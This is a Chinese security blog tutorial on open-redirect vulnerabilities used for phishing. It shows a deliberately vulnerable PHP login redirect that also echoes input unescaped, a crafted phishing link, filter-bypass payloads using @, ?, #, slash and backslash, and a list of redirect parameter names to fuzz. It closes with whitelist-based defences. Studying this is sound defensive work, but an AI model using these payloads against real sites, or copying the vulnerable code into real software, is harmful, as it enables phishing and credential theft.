Web安全-URL跳转与钓鱼

简介: Web安全-URL跳转与钓鱼

概述
URL跳转事件是比较常见的,比如,登陆网页以后,从登陆页面跳转到另一个页面,这就叫做URL跳转,但是URL跳转怎么和网络钓鱼联系在一起呢?下面将详细介绍URL跳转与钓鱼。

URL重定向漏洞也称URL任意跳转漏洞,网站信任了用户的输入导致恶意攻击,URL重定向主要用来钓鱼,比如URL跳转中最常见的跳转在登陆口,支付口,也就是一旦登陆将会跳转任意自己构造的网站,如果设置成自己的URL则会造成钓鱼,浅析危害。







username:




password:


<?php

$url=$_GET['redict'];
echo $_GET['username'];
if ($_GET['username']&&$_GET['password']) {

header("Location:$url");exit;

}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

最简单的代码实例,也是很贴近真实渗透的案例,登陆跳转,后面通常是加上自己业务的url,一旦存在url任意重定向,发送给用户,会毫不疑问的输入账号密码登陆,然后跳转到我们想要他跳转的url,比如:

我们发送给用户这样的url,

http://127.0.0.1/url.php?username=&password=&redict=http://127.0.0.1/fish.php
1
用户正常输入账号密码登陆点击登陆。跳转到构造的页面。(我可真是个钓鱼鬼才)

当然钓鱼界面可以伪造一切你想获取的信息。

URL跳转
URL跳转一般分为两种,一种为客户端跳转,另一种为服务器端跳转。两种跳转对于用于来说都是透明的,都是指向或跳转到另一个页面,页面发生了变化,但是对于开发者来说,其区别是很大的。

客户端跳转

服务器端跳转
服务器端跳转也称为URL转发,服务器端跳转时,用户浏览的地址栏URL是不会发生变化的,比如,当前页面URL为:http://www.xxser.com/new.php ,当单击“登录”按钮后,浏览器地址栏的URL没变,但是页面会发生变化。

网络钓鱼

注意:URL转发不可作为URL跳转漏洞,因为URL转发是无法进行域名跳转的,所以URL跳转漏洞也称为URL重定向漏洞。

URL跳转漏洞可以说对自身并没有什么危害,但如果存在此漏洞,就极其有可能成为攻击者的帮凶。

bypass
其实bypass没什么新的套路(我暂时没),都是网上有的,师傅们可以百度到的,我整理一下,利用上面的代码简单测试,都是本地测试通过的。www.xiaozhupeiqi.com是服务器要求跳转的url。

1、最常用的一条:@绕过

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.xiaozhupeiqi.com@www.baidu.com //ssrf也可用
1
2、绕过一些匹配特定字符

?绕过

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com?www.xiaozhupeiqi.com
1

绕过

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com#www.xiaozhupeiqi.com
1
3、斜杠/绕过

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com/www.xiaozhupeiqi.com
1
或者反斜线

http://127.0.0.1/url.php?username=1&password=1&password=1&redict=http://www.baidu.com\www.xiaozhupeiqi.com
1
fuzz几个参数

redirect
url
redirectUrl
callback
return_url
toUrl
ReturnUrl
fromUrl
redUrl
request
redirect_to
redirect_url
jump
jump_to
target
to
goto
link
linkto
domain
oauth_callback

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
防御策略
根据上面的场景分析,我们知道,之所以会出现跳转 URL 漏洞,就是因为服务端没有对客户端传递的跳转地址进行合法性校验,所以,预防这种攻击的方式,就是对客户端传递过来的跳转 URL 进行校验。可以采用在服务端配置跳转白名单或域名白名单,只对合法的 URL 做跳转。
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_39190897/article/details/86767713

目录
相关文章
|
前端开发 JavaScript Java
Web.xml - Servlet与Filter的url-pattern
Web.xml - Servlet与Filter的url-pattern
127 8
|
7月前
|
前端开发 JavaScript
前端知识(十)———JavaScript 使用URL跳转传递数组对象数据类型的方法
前端知识(十)———JavaScript 使用URL跳转传递数组对象数据类型的方法
146 0
|
7月前
|
移动开发 小程序
微信小程序web-view嵌入uni-app H5页面,通过H5页面跳转企业微信客户聊天窗口如何操作?
微信小程序web-view嵌入uni-app H5页面,通过H5页面跳转企业微信客户聊天窗口如何操作?
|
小程序 前端开发 PHP
PHP实现生成小程序二维码带参数进入指定页面、小程序URL scheme实现携带数据跳转小程序
PHP实现生成小程序二维码带参数进入指定页面、小程序URL scheme实现携带数据跳转小程序
240 0
|
6月前
|
应用服务中间件 nginx Windows
nginx实现网站url带参跳转 POST请求GET请求跳转
nginx实现网站url带参跳转 POST请求GET请求跳转
333 1
|
5月前
|
UED
返回按钮——没有上一页的URL时,跳转到首页(document.referrer的妙用)
返回按钮——没有上一页的URL时,跳转到首页(document.referrer的妙用)
61 0
|
7月前
|
监控 数据库
第六十七章 使用 Web 服务监控 IRIS - 监控 Web 服务的 URL
第六十七章 使用 Web 服务监控 IRIS - 监控 Web 服务的 URL
52 0
|
7月前
|
Java 应用服务中间件
解决tomcat启动报错:无法在web.xml或使用此应用程序部署的jar文件中解析绝对的url [http:java.sun.com/jsp/jstl/core]
解决tomcat启动报错:无法在web.xml或使用此应用程序部署的jar文件中解析绝对的url [http:java.sun.com/jsp/jstl/core]
1627 1
|
7月前
|
移动开发 小程序
微信小程序web-view嵌入uni-app H5页面,通过H5页面跳转其他小程序如何操作?
微信小程序web-view嵌入uni-app H5页面,通过H5页面跳转其他小程序如何操作?
|
JavaScript
jQuery带参跳转新页面,新页面获取url多个参数的办法
jQuery带参跳转新页面,新页面获取url多个参数的办法
51 0